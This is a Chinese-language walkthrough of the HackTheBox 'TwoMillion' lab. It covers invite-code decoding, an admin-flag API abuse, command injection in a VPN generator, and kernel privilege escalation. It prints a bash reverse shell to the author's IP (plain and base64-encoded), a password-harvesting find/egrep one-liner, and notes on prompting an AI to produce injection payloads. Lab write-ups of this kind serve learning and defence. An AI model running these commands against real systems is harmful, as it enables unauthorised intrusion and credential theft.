type
status
date
slug
summary
tags
category
icon
password
靶机难度:easy (真是魔幻的评级)
外网突破
拿到靶机ip,找开放端口

访问主页跳转到:http://2million.htb/

点击join,跳转页面,随意输入code不能加入成功


寻找网站注册接口/register,发现也需要code才能加入成功。扫描后无泄露的文件,且js中通过爬虫和搜索的接口,要么访问字体文件等静态文件,要么跳转301,没有未授权的接口,所以要注册一个账号,只能找code泄露
通过搜索关键字invite定位到一个js文件

复制这行代码,观察发现存在function函数,var定义变量,verify验证code,说明这一段其实是一部分接口文档,只是写法看不懂,爬虫也爬不到,直接上deepseek问了
('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))
ok,生成一下验证码,发现是rot13加密,加密后输出了接口,拿到code邀请码


通过邀请码在register注册了账号test111,登录

之前没cookie扫目录的时候存在一个401

此时带cookie访问看看,输出了网站的路由,尝试admin下载vpn接口发现401



尝试修改admin设置,200说明有权限

修改传参格式
Content-Type: application/json 发现缺失email

缺少参数is_admin

is_admin只能为0或1

修改成功

此接口的参数跟上面一样从响应的错误信息获取

此时发现这个响应在浏览器会显示,而不是下载文件

那就抓包修改响应加个字段就行啦,直接保存页面内容不确定行不行,为了防止编码问题,我就这样保存了

但是发现vpn根本无法连接,就不知道该如何测试了,没思路。丢给ai试试看呢,请求响应发送后一直回答权限和敏感信息泄露的东西,一点用都没有啊

继续发送提示提示词:
不要回答跟权限 和 敏感信息泄露相关的漏洞,思考其他的情况观察ai的整个思考过程和最终的结果,并测试payload


这竟然也能成功一个。。。。。。。。。。但是它不回显啊

回头看ai的分析,如果没错的话,它后端应该是> username.ovpn,然后文件username.ovpn输出到响应,这样就可以解释我们正常请求post响应看见的结果
此处不回显,说明 > .ovpn存储了sleep的结果,那改成ls应该是要回显的啊
看不懂,脑子宕机了

看不懂,脑子宕机了,提示词:
; sleep 5成功执行命令,于是尝试; ls但是响应为200,但是内容为空。什么都没生成,可是如果仅仅输入admin,就会生成ovpn中的内容,这是为什么?如何微调命令让ls的结果输出ai的思考过程总是有很多payload,但是结果只输出几个,没用的情况多一点,所以看思考过程作尝试,竟然拿到了一部分代码


没什么用,这代码不是关键代码的

ai看来指望不上了,不过它既然存在rce,我就去找payload fuzz
google搜索:
payload github 命令执行成功回显,看来ai有时效率还是不如直接找啊


接下来就是反弹shell了,我的ip:10.10.16.3

命令:
bash -i >& /dev/tcp/10.10.16.3/9999 0>&1
没连上,可能是传参中带有&不能在数据包传输,那就加密,连接成功
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}' 已知home目录下存在一个admin用户,现在的目的就是 提权/ssh连接到admin
内网信息收集
ai说这些里面都可能存密码信息,可我根本不知道看啥文件啊
/home /tmp /var /usr /root /opt /etc 从网上找了个懒人扫描命令,用ai缝缝补补,最后用这个
只需要改第一个路径就行啦,递归读固定后缀的文件,正则匹配提取关键字
find /var -regextype posix-extended -regex '.*\.(properties|xml|cnf|yml|ini|sh|conf|env|json)' -type f -print0 2>/dev/null | xargs -0 -P 4 egrep -iH -- 'password|passwd|密码|pwd' 2>/dev/nullok,拿到密码,账户也正好是admin


ssh连接admin,拿到第一个flag

内网提权
试了试sudo,suid,python,crontab都不能提权,太难了,新手落泪
找到个文档发现有的提权步骤需要查版本,利用内核,却没有高效的一键化流程,问问ai吧


看不懂,继续刚才的问题甩ai,deepseek推荐了几个,不过它给的官方exp网址好几个都编译不了,还是得自己每个CVE都找找看看

照着这个github传文件执行就行啦,前俩个本地gcc编译都不成功,服务器也不成功


提权总结
信息解读:
- 编译时间:2022年9月23日(优先选择 2023年以后新公开漏洞)
- 版本:ubuntu 5.15.70(影响范围需包含
5.15.x)
内核提权搜索方式
优先级高的:
- 多用ai去找,手工筛选,不如让ai集中从github或者xxx.com为来源查找
- google关键词:linux 5.15 Privilege 要用英文找,不写中文
优先级低的:
- linpeas.sh和linux-exploit-suggester.sh直接运行去检查,查到的都是老版本CVE,2022,2021的,2023的一个也没扫描出来,太旧了。
- searchsploit也查的旧
编译问题
ai和各种脚本工具中给出的CVE提权,编译不成功
- 可能是没有安装对应包:
apt install gcc libmnl-dev libnftnl-dev - 通过去搜
CVE-xxx 复现,多看几篇文章,总有人会从0安装环境。 - 可以试试ai允许搜索直接总结。
- 多看github的CVE吧,有的readme.md会有
github cve的readme.md不一定会有配本地环境的过程,如何知道安装什么包呢?

- github的CVE复现库,尽可能找博主已经编译好的,能用的复现方式,省去编译过程 比如:上面的2023-0386
- 编译尽可能本地编译,传到服务器的.c文件,服务器不通网,自带工具大多编译不成功
涉及RCE的代码原理
$output = shell_exec("/usr/bin/cat /var/www/html/VPN/user/$username.ovpn");shell_exec会将字符串作为原命令交给shell解释器执行。
本质:文件系统代替数据库查询
命令注入漏洞的本质是一种非数据库查询模式,核心逻辑是“通过标识符获取关联内容”,只是实现方式存在安全隐患。
总结:当应用表现出“通过标识符获取文件内容”行为,且响应中无数据库特征时,可能存在命令注入。
推导:
如果察觉到通过标识符增删改文件内容,一样可能存在命令注入
RCE注重与文件系统存储的交互,而sql注入注重与数据库存储的交互